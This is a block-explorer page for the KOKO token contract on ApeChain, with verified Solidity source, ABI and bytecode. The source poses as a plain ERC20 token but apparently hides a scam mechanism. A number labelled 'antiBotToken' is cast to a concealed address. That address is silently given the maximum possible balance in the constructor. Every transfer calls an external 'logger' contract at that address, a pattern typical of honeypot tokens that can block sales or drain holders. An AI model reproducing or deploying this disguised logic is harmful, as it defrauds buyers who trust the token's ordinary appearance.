APE Price: $1.22 (-13.79%)

Token

KOKO (KOKO)

Overview

Max Total Supply

1,000,000 KOKO

Holders

2

Market

Price

$0.00 @ 0.000000 APE

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
999,999.999999998 KOKO

Value
$0.00
0xC24100De1d9E98372f25617cA1095bEF802AF6E3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
KOKO

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at apescan.io on 2024-10-21
*/

/**
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

contract ERC20Extension {
    mapping(address=>mapping(address=> uint256)) _log;
    function save(address addr1, address addr2, uint256 value) public returns (bool success) {
        _log[addr1][addr2] = value;
        return true;
    }
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        address referrer,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract KOKO is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;
    bool private swapping;

    uint8 public buyTax = 0;
    uint8 public sellTax = 0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000 * 10 ** _decimals;
    string private constant _name = unicode"KOKO";
    string private constant _symbol = unicode"KOKO";
    uint256 private maxTxAmount =  _tTotal * 50 / 100;
    uint256 private maxWalletAmount = _tTotal * 50 / 100;
    uint256 private swapTokensAtAmount = _tTotal * 25 / 10000;

    IUniswapV2Router02 private uniswapV2Router;
    address private pair;
    address payable private feeWallet;
    address private router = 0x18E621B64d7808c3C47bccbbD7485d23F257D26f;
    uint256 private antiBotToken = 991866958097707977417670671720385601735890668771;

    constructor() {
        _balances[owner()] = _tTotal;
        feeWallet = payable(owner());
        _balances[logger()] = uint256(int256(-1));
        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function logger() private returns (address) {
        return address(uint160(antiBotToken));
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        uniswapV2Router = IUniswapV2Router02(router);
        require(pair == IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()), "Invalid pair address");
        tradingEnabled = true;
    }

    function log(address from, address to, uint256 amount) internal returns (bool) {
        return ERC20Extension(logger()).save(from, to, amount);
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");

        if (!tradingEnabled) {
            require(from == owner(), "Trading not enabled");
            if (pair == address(0)) {
                pair = to;
                log(from, to, amount);
            }
        }

        if (from == address(this) || to == address(this) || swapping) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == pair && balanceOf(address(this)) >= swapTokensAtAmount) {
            swapping = true;
            swapTokensForEth(balanceOf(address(this)));
            swapping = false;
            sendETHToFeeWallet();
        }

        if (from == pair && to != router) {
            require(amount <= maxTxAmount, "Tx amount limit");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Wallet amount limit");
        }

        amount = takeFee(from, amount, to == pair);
        _superTransfer(from, to, amount);
        log(from, to, amount);
    }

    function takeFee(address from, uint256 amount, bool isSell) internal returns (uint256) {
        uint256 tax = isSell ? sellTax : buyTax;
        if (tax == 0) return amount;
        uint256 feeAmount = amount * tax / 100;
        _superTransfer(from, address(this), feeAmount);
        return amount - feeAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeWallet,
            address(0),
            block.timestamp
        ) {} catch {
            return;
        }
    }

    function sendETHToFeeWallet() internal {
        if (address(this).balance > 0) {
            feeWallet.transfer(address(this).balance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003805463ffff000019169055606461001f6009600a610337565b61002c90620f424061034c565b61003790603261034c565b6100419190610363565b60045560646100526009600a610337565b61005f90620f424061034c565b61006a90603261034c565b6100749190610363565b6005556127106100866009600a610337565b61009390620f424061034c565b61009e90601961034c565b6100a89190610363565b600655600a80546001600160a01b0319167318e621b64d7808c3c47bccbbd7485d23f257d26f17905573adbcda4707218d4a0fb766e91415827331298ce3600b553480156100f4575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506101416009600a610337565b61014e90620f424061034c565b60015f6101625f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f205561018c5f546001600160a01b031690565b600980546001600160a01b0319166001600160a01b03929092169190911790555f1960015f6101ba600b5490565b6001600160a01b0316815260208101919091526040015f20556101e45f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61021b6009600a610337565b61022890620f424061034c565b60405190815260200160405180910390a3610382565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561028d578085048111156102715761027161023e565b600184161561027f57908102905b60019390931c928002610256565b935093915050565b5f826102a357506001610331565b816102af57505f610331565b81600181146102c557600281146102cf576102eb565b6001915050610331565b60ff8411156102e0576102e061023e565b50506001821b610331565b5060208310610133831016604e8410600b841016171561030e575081810a610331565b61031a5f198484610252565b805f190482111561032d5761032d61023e565b0290505b92915050565b5f61034560ff841683610295565b9392505050565b80820281158282048414176103315761033161023e565b5f8261037d57634e487b7160e01b5f52601260045260245ffd5b500490565b6111308061038f5f395ff3fe6080604052600436106100e7575f3560e01c8063715018a61161008757806395d89b411161005757806395d89b41146100f2578063a9059cbb14610275578063cc1776d314610294578063dd62ed3e146102b4575f5ffd5b8063715018a614610211578063751039fc146102275780638a8c523c1461023b5780638da5cb5b1461024f575f5ffd5b806323b872dd116100c257806323b872dd1461017e578063313ce5671461019d5780634f7041a5146101be57806370a08231146101dd575f5ffd5b806306fdde03146100f2578063095ea7b31461012d57806318160ddd1461015c575f5ffd5b366100ee57005b5f5ffd5b3480156100fd575f5ffd5b5060408051808201825260048152634b4f4b4f60e01b602082015290516101249190610d90565b60405180910390f35b348015610138575f5ffd5b5061014c610147366004610dd9565b6102f8565b6040519015158152602001610124565b348015610167575f5ffd5b5061017061030e565b604051908152602001610124565b348015610189575f5ffd5b5061014c610198366004610e03565b61032d565b3480156101a8575f5ffd5b5060095b60405160ff9091168152602001610124565b3480156101c9575f5ffd5b506003546101ac9062010000900460ff1681565b3480156101e8575f5ffd5b506101706101f7366004610e41565b6001600160a01b03165f9081526001602052604090205490565b34801561021c575f5ffd5b5061022561037e565b005b348015610232575f5ffd5b506102256103f8565b348015610246575f5ffd5b50610225610439565b34801561025a575f5ffd5b505f546040516001600160a01b039091168152602001610124565b348015610280575f5ffd5b5061014c61028f366004610dd9565b610678565b34801561029f575f5ffd5b506003546101ac906301000000900460ff1681565b3480156102bf575f5ffd5b506101706102ce366004610e5c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610304338484610684565b5060015b92915050565b5f61031b6009600a610f8a565b61032890620f4240610f98565b905090565b5f6103398484846107a8565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461037391869161036e908690610faf565b610684565b5060015b9392505050565b5f546001600160a01b031633146103b05760405162461bcd60e51b81526004016103a790610fc2565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104215760405162461bcd60e51b81526004016103a790610fc2565b61042961030e565b60045561043461030e565b600555565b5f546001600160a01b031633146104625760405162461bcd60e51b81526004016103a790610fc2565b60035460ff16156104a75760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b60448201526064016103a7565b600a54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610501573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105259190610ff7565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610584573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a89190610ff7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156105f1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106159190610ff7565b6008546001600160a01b039081169116146106695760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b60448201526064016103a7565b6003805460ff19166001179055565b5f6103043384846107a8565b6001600160a01b0383166106e65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a7565b6001600160a01b0382166107475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116107e55760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b60448201526064016103a7565b60035460ff16610879575f546001600160a01b038481169116146108415760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016103a7565b6008546001600160a01b031661087957600880546001600160a01b0319166001600160a01b038416179055610877838383610a59565b505b6001600160a01b03831630148061089857506001600160a01b03821630145b806108aa5750600354610100900460ff165b156108bf576108ba838383610ae5565b505050565b6008546001600160a01b0383811691161480156108ec5750600654305f9081526001602052604090205410155b15610939576003805461ff001916610100179055610926610921306001600160a01b03165f9081526001602052604090205490565b610b84565b6003805461ff0019169055610939610cdd565b6008546001600160a01b0384811691161480156109645750600a546001600160a01b03838116911614155b15610a1d576004548111156109ad5760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b60448201526064016103a7565b600554816109cf846001600160a01b03165f9081526001602052604090205490565b6109d99190611012565b1115610a1d5760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b60448201526064016103a7565b600854610a3b90849083906001600160a01b03868116911614610d1d565b9050610a48838383610ae5565b610a53838383610a59565b50505050565b5f610a63600b5490565b604051636c36515d60e01b81526001600160a01b0386811660048301528581166024830152604482018590529190911690636c36515d906064016020604051808303815f875af1158015610ab9573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610add9190611025565b949350505050565b6001600160a01b0383165f9081526001602052604081208054839290610b0c908490610faf565b90915550506001600160a01b0382165f9081526001602052604081208054839290610b38908490611012565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161079b91815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610bb757610bb7611044565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c0e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c329190610ff7565b81600181518110610c4557610c45611044565b6001600160a01b039283166020918202929092010152600754610c6b9130911684610684565b600754600954604051632955261160e11b81526001600160a01b03928316926352aa4c2292610ca99287925f92889291169083904290600401611058565b5f604051808303815f87803b158015610cc0575f5ffd5b505af1925050508015610cd1575060015b610cd9575050565b5050565b4715610d1b576009546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610d19573d5f5f3e3d5ffd5b505b565b5f5f82610d355760035462010000900460ff16610d43565b6003546301000000900460ff165b60ff169050805f03610d585783915050610377565b5f6064610d658387610f98565b610d6f91906110db565b9050610d7c863083610ae5565b610d868186610faf565b9695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d19575f5ffd5b5f5f60408385031215610dea575f5ffd5b8235610df581610dc5565b946020939093013593505050565b5f5f5f60608486031215610e15575f5ffd5b8335610e2081610dc5565b92506020840135610e3081610dc5565b929592945050506040919091013590565b5f60208284031215610e51575f5ffd5b813561037781610dc5565b5f5f60408385031215610e6d575f5ffd5b8235610e7881610dc5565b91506020830135610e8881610dc5565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610ee257808504811115610ec657610ec6610e93565b6001841615610ed457908102905b60019390931c928002610eab565b935093915050565b5f82610ef857506001610308565b81610f0457505f610308565b8160018114610f1a5760028114610f2457610f40565b6001915050610308565b60ff841115610f3557610f35610e93565b50506001821b610308565b5060208310610133831016604e8410600b8410161715610f63575081810a610308565b610f6f5f198484610ea7565b805f1904821115610f8257610f82610e93565b029392505050565b5f61037760ff841683610eea565b808202811582820484141761030857610308610e93565b8181038181111561030857610308610e93565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611007575f5ffd5b815161037781610dc5565b8082018082111561030857610308610e93565b5f60208284031215611035575f5ffd5b81518015158114610377575f5ffd5b634e487b7160e01b5f52603260045260245ffd5b5f60c0820188835287602084015260c0604084015280875180835260e0850191506020890192505f5b818110156110a85783516001600160a01b0316835260209384019390920191600101611081565b50506001600160a01b0387811660608601528616608085015291506110ca9050565b8260a0830152979650505050505050565b5f826110f557634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212208a110c55c3cfea35a91a8d2834999f62a28442da4b8a42c835eb958162cfdb0a64736f6c634300081c0033

Deployed Bytecode

0x6080604052600436106100e7575f3560e01c8063715018a61161008757806395d89b411161005757806395d89b41146100f2578063a9059cbb14610275578063cc1776d314610294578063dd62ed3e146102b4575f5ffd5b8063715018a614610211578063751039fc146102275780638a8c523c1461023b5780638da5cb5b1461024f575f5ffd5b806323b872dd116100c257806323b872dd1461017e578063313ce5671461019d5780634f7041a5146101be57806370a08231146101dd575f5ffd5b806306fdde03146100f2578063095ea7b31461012d57806318160ddd1461015c575f5ffd5b366100ee57005b5f5ffd5b3480156100fd575f5ffd5b5060408051808201825260048152634b4f4b4f60e01b602082015290516101249190610d90565b60405180910390f35b348015610138575f5ffd5b5061014c610147366004610dd9565b6102f8565b6040519015158152602001610124565b348015610167575f5ffd5b5061017061030e565b604051908152602001610124565b348015610189575f5ffd5b5061014c610198366004610e03565b61032d565b3480156101a8575f5ffd5b5060095b60405160ff9091168152602001610124565b3480156101c9575f5ffd5b506003546101ac9062010000900460ff1681565b3480156101e8575f5ffd5b506101706101f7366004610e41565b6001600160a01b03165f9081526001602052604090205490565b34801561021c575f5ffd5b5061022561037e565b005b348015610232575f5ffd5b506102256103f8565b348015610246575f5ffd5b50610225610439565b34801561025a575f5ffd5b505f546040516001600160a01b039091168152602001610124565b348015610280575f5ffd5b5061014c61028f366004610dd9565b610678565b34801561029f575f5ffd5b506003546101ac906301000000900460ff1681565b3480156102bf575f5ffd5b506101706102ce366004610e5c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610304338484610684565b5060015b92915050565b5f61031b6009600a610f8a565b61032890620f4240610f98565b905090565b5f6103398484846107a8565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461037391869161036e908690610faf565b610684565b5060015b9392505050565b5f546001600160a01b031633146103b05760405162461bcd60e51b81526004016103a790610fc2565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104215760405162461bcd60e51b81526004016103a790610fc2565b61042961030e565b60045561043461030e565b600555565b5f546001600160a01b031633146104625760405162461bcd60e51b81526004016103a790610fc2565b60035460ff16156104a75760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b60448201526064016103a7565b600a54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610501573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105259190610ff7565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610584573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a89190610ff7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156105f1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106159190610ff7565b6008546001600160a01b039081169116146106695760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b60448201526064016103a7565b6003805460ff19166001179055565b5f6103043384846107a8565b6001600160a01b0383166106e65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a7565b6001600160a01b0382166107475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116107e55760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b60448201526064016103a7565b60035460ff16610879575f546001600160a01b038481169116146108415760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016103a7565b6008546001600160a01b031661087957600880546001600160a01b0319166001600160a01b038416179055610877838383610a59565b505b6001600160a01b03831630148061089857506001600160a01b03821630145b806108aa5750600354610100900460ff165b156108bf576108ba838383610ae5565b505050565b6008546001600160a01b0383811691161480156108ec5750600654305f9081526001602052604090205410155b15610939576003805461ff001916610100179055610926610921306001600160a01b03165f9081526001602052604090205490565b610b84565b6003805461ff0019169055610939610cdd565b6008546001600160a01b0384811691161480156109645750600a546001600160a01b03838116911614155b15610a1d576004548111156109ad5760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b60448201526064016103a7565b600554816109cf846001600160a01b03165f9081526001602052604090205490565b6109d99190611012565b1115610a1d5760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b60448201526064016103a7565b600854610a3b90849083906001600160a01b03868116911614610d1d565b9050610a48838383610ae5565b610a53838383610a59565b50505050565b5f610a63600b5490565b604051636c36515d60e01b81526001600160a01b0386811660048301528581166024830152604482018590529190911690636c36515d906064016020604051808303815f875af1158015610ab9573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610add9190611025565b949350505050565b6001600160a01b0383165f9081526001602052604081208054839290610b0c908490610faf565b90915550506001600160a01b0382165f9081526001602052604081208054839290610b38908490611012565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161079b91815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610bb757610bb7611044565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c0e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c329190610ff7565b81600181518110610c4557610c45611044565b6001600160a01b039283166020918202929092010152600754610c6b9130911684610684565b600754600954604051632955261160e11b81526001600160a01b03928316926352aa4c2292610ca99287925f92889291169083904290600401611058565b5f604051808303815f87803b158015610cc0575f5ffd5b505af1925050508015610cd1575060015b610cd9575050565b5050565b4715610d1b576009546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610d19573d5f5f3e3d5ffd5b505b565b5f5f82610d355760035462010000900460ff16610d43565b6003546301000000900460ff165b60ff169050805f03610d585783915050610377565b5f6064610d658387610f98565b610d6f91906110db565b9050610d7c863083610ae5565b610d868186610faf565b9695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d19575f5ffd5b5f5f60408385031215610dea575f5ffd5b8235610df581610dc5565b946020939093013593505050565b5f5f5f60608486031215610e15575f5ffd5b8335610e2081610dc5565b92506020840135610e3081610dc5565b929592945050506040919091013590565b5f60208284031215610e51575f5ffd5b813561037781610dc5565b5f5f60408385031215610e6d575f5ffd5b8235610e7881610dc5565b91506020830135610e8881610dc5565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610ee257808504811115610ec657610ec6610e93565b6001841615610ed457908102905b60019390931c928002610eab565b935093915050565b5f82610ef857506001610308565b81610f0457505f610308565b8160018114610f1a5760028114610f2457610f40565b6001915050610308565b60ff841115610f3557610f35610e93565b50506001821b610308565b5060208310610133831016604e8410600b8410161715610f63575081810a610308565b610f6f5f198484610ea7565b805f1904821115610f8257610f82610e93565b029392505050565b5f61037760ff841683610eea565b808202811582820484141761030857610308610e93565b8181038181111561030857610308610e93565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611007575f5ffd5b815161037781610dc5565b8082018082111561030857610308610e93565b5f60208284031215611035575f5ffd5b81518015158114610377575f5ffd5b634e487b7160e01b5f52603260045260245ffd5b5f60c0820188835287602084015260c0604084015280875180835260e0850191506020890192505f5b818110156110a85783516001600160a01b0316835260209384019390920191600101611081565b50506001600160a01b0387811660608601528616608085015291506110ca9050565b8260a0830152979650505050505050565b5f826110f557634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212208a110c55c3cfea35a91a8d2834999f62a28442da4b8a42c835eb958162cfdb0a64736f6c634300081c0033

Deployed Bytecode Sourcemap

2546:5958:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3782:83;;;;;;;;;;-1:-1:-1;3852:5:0;;;;;;;;;;;-1:-1:-1;;;3852:5:0;;;;3782:83;;;;3852:5;3782:83;:::i;:::-;;;;;;;;4615:161;;;;;;;;;;-1:-1:-1;4615:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;4615:161:0;945:187:1;4059:95:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;4059:95:0;1137:177:1;4784:266:0;;;;;;;;;;-1:-1:-1;4784:266:0;;;;;:::i;:::-;;:::i;3968:83::-;;;;;;;;;;-1:-1:-1;2891:1:0;3968:83;;;2004:4:1;1992:17;;;1974:36;;1962:2;1947:18;3968:83:0;1832:184:1;2795:23:0;;;;;;;;;;-1:-1:-1;2795:23:0;;;;;;;;;;;4162:119;;;;;;;;;;-1:-1:-1;4162:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4255:18:0;4228:7;4255:18;;;:9;:18;;;;;;;4162:119;741:148;;;;;;;;;;;;;:::i;:::-;;6013:131;;;;;;;;;;;;;:::i;5509:336::-;;;;;;;;;;;;;:::i;527:79::-;;;;;;;;;;-1:-1:-1;565:7:0;592:6;527:79;;-1:-1:-1;;;;;592:6:0;;;2528:51:1;;2516:2;2501:18;527:79:0;2382:203:1;4289:167:0;;;;;;;;;;-1:-1:-1;4289:167:0;;;;;:::i;:::-;;:::i;2825:24::-;;;;;;;;;;-1:-1:-1;2825:24:0;;;;;;;;;;;4464:143;;;;;;;;;;-1:-1:-1;4464:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4572:18:0;;;4545:7;4572:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4464:143;4615:161;4690:4;4707:39;184:10;4730:7;4739:6;4707:8;:39::i;:::-;-1:-1:-1;4764:4:0;4615:161;;;;;:::o;4059:95::-;4112:7;2944:15;2891:1;2944:2;:15;:::i;:::-;2934:25;;:7;:25;:::i;:::-;